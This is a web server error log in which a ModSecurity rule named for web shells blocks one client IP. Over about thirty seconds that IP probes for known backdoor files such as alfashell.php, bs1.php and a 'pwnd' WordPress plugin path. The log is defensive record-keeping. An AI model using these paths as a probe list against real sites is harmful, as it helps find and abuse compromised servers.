[Sun May 03 05:38:09.364444 2026] [:error] [pid 21934:tid 21949] [client 172.173.121.85:5877] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afZuwXWfIjnWjXCxeM4taQAAAQ0"]
[Sun May 03 05:38:09.946155 2026] [:error] [pid 40638:tid 40683] [client 172.173.121.85:5205] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afZuwfh3VcFjJ7H1mBaqkgAAAEk"]
[Sun May 03 05:38:10.468213 2026] [:error] [pid 40637:tid 40659] [client 172.173.121.85:5952] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afZuwpB-U30YNJ6CyVg-YwAAAAw"]
[Sun May 03 05:38:11.008597 2026] [:error] [pid 21934:tid 21951] [client 172.173.121.85:5836] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "afZuw3WfIjnWjXCxeM4tbgAAAQ8"]
[Sun May 03 05:38:11.493087 2026] [:error] [pid 21934:tid 21946] [client 172.173.121.85:5149] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "afZuw3WfIjnWjXCxeM4tbwAAAQo"]
[Sun May 03 05:38:12.049451 2026] [:error] [pid 21934:tid 21959] [client 172.173.121.85:5881] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "afZuxHWfIjnWjXCxeM4tcgAAARc"]
[Sun May 03 05:38:12.524391 2026] [:error] [pid 21934:tid 21943] [client 172.173.121.85:5868] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "afZuxHWfIjnWjXCxeM4tdAAAAQc"]
[Sun May 03 05:38:12.979836 2026] [:error] [pid 40638:tid 40689] [client 172.173.121.85:5897] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bs1.php"] [unique_id "afZuxPh3VcFjJ7H1mBaqlAAAAE8"]
[Sun May 03 05:38:13.440949 2026] [:error] [pid 40639:tid 40725] [client 172.173.121.85:5863] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afZuxa9rkyoICq7qxvFmQgAAAJg"]
[Sun May 03 05:38:15.030192 2026] [:error] [pid 40637:tid 40667] [client 172.173.121.85:5197] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afZux5B-U30YNJ6CyVg-aAAAABQ"]
[Sun May 03 05:38:15.463267 2026] [:error] [pid 40639:tid 40706] [client 172.173.121.85:5867] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afZux69rkyoICq7qxvFmRAAAAIU"]
[Sun May 03 05:38:15.862013 2026] [:error] [pid 40638:tid 40693] [client 172.173.121.85:5174] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "afZux_h3VcFjJ7H1mBaqlgAAAFM"]
[Sun May 03 05:38:16.317459 2026] [:error] [pid 40639:tid 40723] [client 172.173.121.85:5167] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "afZuyK9rkyoICq7qxvFmRQAAAJY"]
[Sun May 03 05:38:16.698947 2026] [:error] [pid 40639:tid 40720] [client 172.173.121.85:5886] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "afZuyK9rkyoICq7qxvFmRgAAAJM"]
[Sun May 03 05:38:17.180049 2026] [:error] [pid 40637:tid 40651] [client 172.173.121.85:5885] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "afZuyZB-U30YNJ6CyVg-awAAAAQ"]
[Sun May 03 05:38:17.597540 2026] [:error] [pid 40638:tid 40684] [client 172.173.121.85:5170] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/axx.php"] [unique_id "afZuyfh3VcFjJ7H1mBaqlwAAAEo"]
[Sun May 03 05:38:18.027726 2026] [:error] [pid 40637:tid 40670] [client 172.173.121.85:5152] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfashell.php"] [unique_id "afZuypB-U30YNJ6CyVg-bAAAABc"]
[Sun May 03 05:38:18.454844 2026] [:error] [pid 40639:tid 40708] [client 172.173.121.85:5215] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfashell.php"] [unique_id "afZuyq9rkyoICq7qxvFmRwAAAIc"]
[Sun May 03 05:38:19.215045 2026] [:error] [pid 40638:tid 40690] [client 172.173.121.85:5839] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfashell.php"] [unique_id "afZuy_h3VcFjJ7H1mBaqmAAAAFA"]
[Sun May 03 05:38:19.592200 2026] [:error] [pid 40637:tid 40659] [client 172.173.121.85:5883] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/alfashell.php"] [unique_id "afZuy5B-U30YNJ6CyVg-cwAAAAw"]
[Sun May 03 05:38:20.018270 2026] [:error] [pid 40638:tid 40676] [client 172.173.121.85:5185] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "afZuzPh3VcFjJ7H1mBaqmQAAAEI"]
[Sun May 03 05:38:20.716951 2026] [:error] [pid 40732:tid 40746] [client 172.173.121.85:5222] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "afZuzP1lQrIvlEdzcVcWowAAAMI"]
[Sun May 03 05:38:21.167314 2026] [:error] [pid 40732:tid 40766] [client 172.173.121.85:5858] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "afZuzf1lQrIvlEdzcVcWpAAAANY"]
[Sun May 03 05:38:21.608088 2026] [:error] [pid 21934:tid 21957] [client 172.173.121.85:5235] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gettest.php"] [unique_id "afZuzXWfIjnWjXCxeM4thAAAARU"]
[Sun May 03 05:38:22.006435 2026] [:error] [pid 21934:tid 21948] [client 172.173.121.85:5214] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "afZuznWfIjnWjXCxeM4thgAAAQw"]
[Sun May 03 05:38:22.416732 2026] [:error] [pid 40637:tid 40647] [client 172.173.121.85:5924] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "afZuzpB-U30YNJ6CyVg-dQAAAAA"]
[Sun May 03 05:38:22.833716 2026] [:error] [pid 40639:tid 40710] [client 172.173.121.85:5151] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "afZuzq9rkyoICq7qxvFmUQAAAIk"]
[Sun May 03 05:38:23.266622 2026] [:error] [pid 40732:tid 40744] [client 172.173.121.85:5228] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "afZuz_1lQrIvlEdzcVcWpwAAAMA"]
[Sun May 03 05:38:23.712120 2026] [:error] [pid 21934:tid 21951] [client 172.173.121.85:5853] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "afZuz3WfIjnWjXCxeM4tiQAAAQ8"]
[Sun May 03 05:38:24.160304 2026] [:error] [pid 40637:tid 40652] [client 172.173.121.85:5896] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "afZu0JB-U30YNJ6CyVg-eAAAAAU"]
[Sun May 03 05:38:24.549334 2026] [:error] [pid 40639:tid 40712] [client 172.173.121.85:5875] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "afZu0K9rkyoICq7qxvFmVQAAAIs"]
[Sun May 03 05:38:26.102214 2026] [:error] [pid 40732:tid 40747] [client 172.173.121.85:30211] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file48.php"] [unique_id "afZu0v1lQrIvlEdzcVcWqgAAAMM"]
[Sun May 03 05:38:26.526231 2026] [:error] [pid 40638:tid 40692] [client 172.173.121.85:30231] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "afZu0vh3VcFjJ7H1mBaqogAAAFI"]
[Sun May 03 05:38:27.082578 2026] [:error] [pid 40638:tid 40679] [client 172.173.121.85:5847] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "afZu0_h3VcFjJ7H1mBaqpgAAAEU"]
[Sun May 03 05:38:27.516640 2026] [:error] [pid 40732:tid 40764] [client 172.173.121.85:30284] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "afZu0_1lQrIvlEdzcVcWqwAAANQ"]
[Sun May 03 05:38:27.944166 2026] [:error] [pid 21934:tid 21947] [client 172.173.121.85:30236] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "afZu03WfIjnWjXCxeM4tpAAAAQs"]
[Sun May 03 05:38:28.350388 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:30316] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "afZu1HWfIjnWjXCxeM4tpwAAAQg"]
[Sun May 03 05:38:28.764337 2026] [:error] [pid 40638:tid 40689] [client 172.173.121.85:5844] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "afZu1Ph3VcFjJ7H1mBaqqgAAAE8"]
[Sun May 03 05:38:29.269563 2026] [:error] [pid 40637:tid 40666] [client 172.173.121.85:5928] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "afZu1ZB-U30YNJ6CyVg-fQAAABM"]
[Sun May 03 05:38:29.902203 2026] [:error] [pid 40639:tid 40712] [client 172.173.121.85:5230] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/"] [unique_id "afZu1a9rkyoICq7qxvFmWgAAAIs"]
[Sun May 03 05:38:30.331618 2026] [:error] [pid 40639:tid 40706] [client 172.173.121.85:5909] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "afZu1q9rkyoICq7qxvFmWwAAAIU"]
[Sun May 03 05:38:30.745848 2026] [:error] [pid 40638:tid 40696] [client 172.173.121.85:5934] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "afZu1vh3VcFjJ7H1mBaqrwAAAFY"]
[Sun May 03 05:38:31.176954 2026] [:error] [pid 40639:tid 40720] [client 172.173.121.85:5854] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "afZu169rkyoICq7qxvFmXQAAAJM"]
[Sun May 03 05:38:31.655002 2026] [:error] [pid 40639:tid 40719] [client 172.173.121.85:30318] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "afZu169rkyoICq7qxvFmXwAAAJI"]
[Sun May 03 05:38:32.055937 2026] [:error] [pid 21934:tid 21943] [client 172.173.121.85:5233] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "afZu2HWfIjnWjXCxeM4tvQAAAQc"]
[Sun May 03 05:38:32.449350 2026] [:error] [pid 21934:tid 21948] [client 172.173.121.85:30210] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "afZu2HWfIjnWjXCxeM4twAAAAQw"]
[Sun May 03 05:38:32.918007 2026] [:error] [pid 40732:tid 40748] [client 172.173.121.85:5874] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "afZu2P1lQrIvlEdzcVcWrwAAAMQ"]
[Sun May 03 05:38:33.374310 2026] [:error] [pid 40637:tid 40657] [client 172.173.121.85:5226] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ew.php"] [unique_id "afZu2ZB-U30YNJ6CyVg-ggAAAAo"]
[Sun May 03 05:38:33.923809 2026] [:error] [pid 40732:tid 40763] [client 172.173.121.85:30274] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "afZu2f1lQrIvlEdzcVcWsgAAANM"]
[Sun May 03 05:38:34.475080 2026] [:error] [pid 40638:tid 40687] [client 172.173.121.85:5149] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "afZu2vh3VcFjJ7H1mBaqtwAAAE0"]
[Sun May 03 05:38:35.022070 2026] [:error] [pid 21934:tid 21936] [client 172.173.121.85:5884] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "afZu23WfIjnWjXCxeM4tzgAAAQA"]
[Sun May 03 05:38:35.442797 2026] [:error] [pid 40732:tid 40746] [client 172.173.121.85:5143] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file21.php"] [unique_id "afZu2_1lQrIvlEdzcVcWtAAAAMI"]
[Sun May 03 05:38:36.405546 2026] [:error] [pid 40732:tid 40755] [client 172.173.121.85:30293] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "afZu3P1lQrIvlEdzcVcWtwAAAMs"]
[Sun May 03 05:38:37.271480 2026] [:error] [pid 40638:tid 40694] [client 172.173.121.85:30225] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "afZu3fh3VcFjJ7H1mBaquQAAAFQ"]
[Sun May 03 05:38:37.717161 2026] [:error] [pid 21934:tid 21944] [client 172.173.121.85:5196] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "afZu3XWfIjnWjXCxeM4t4wAAAQg"]
[Sun May 03 05:38:38.183455 2026] [:error] [pid 21934:tid 21960] [client 172.173.121.85:30234] [client 172.173.121.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/hypo.php"] [unique_id "afZu3nWfIjnWjXCxeM4t6QAAARg"]
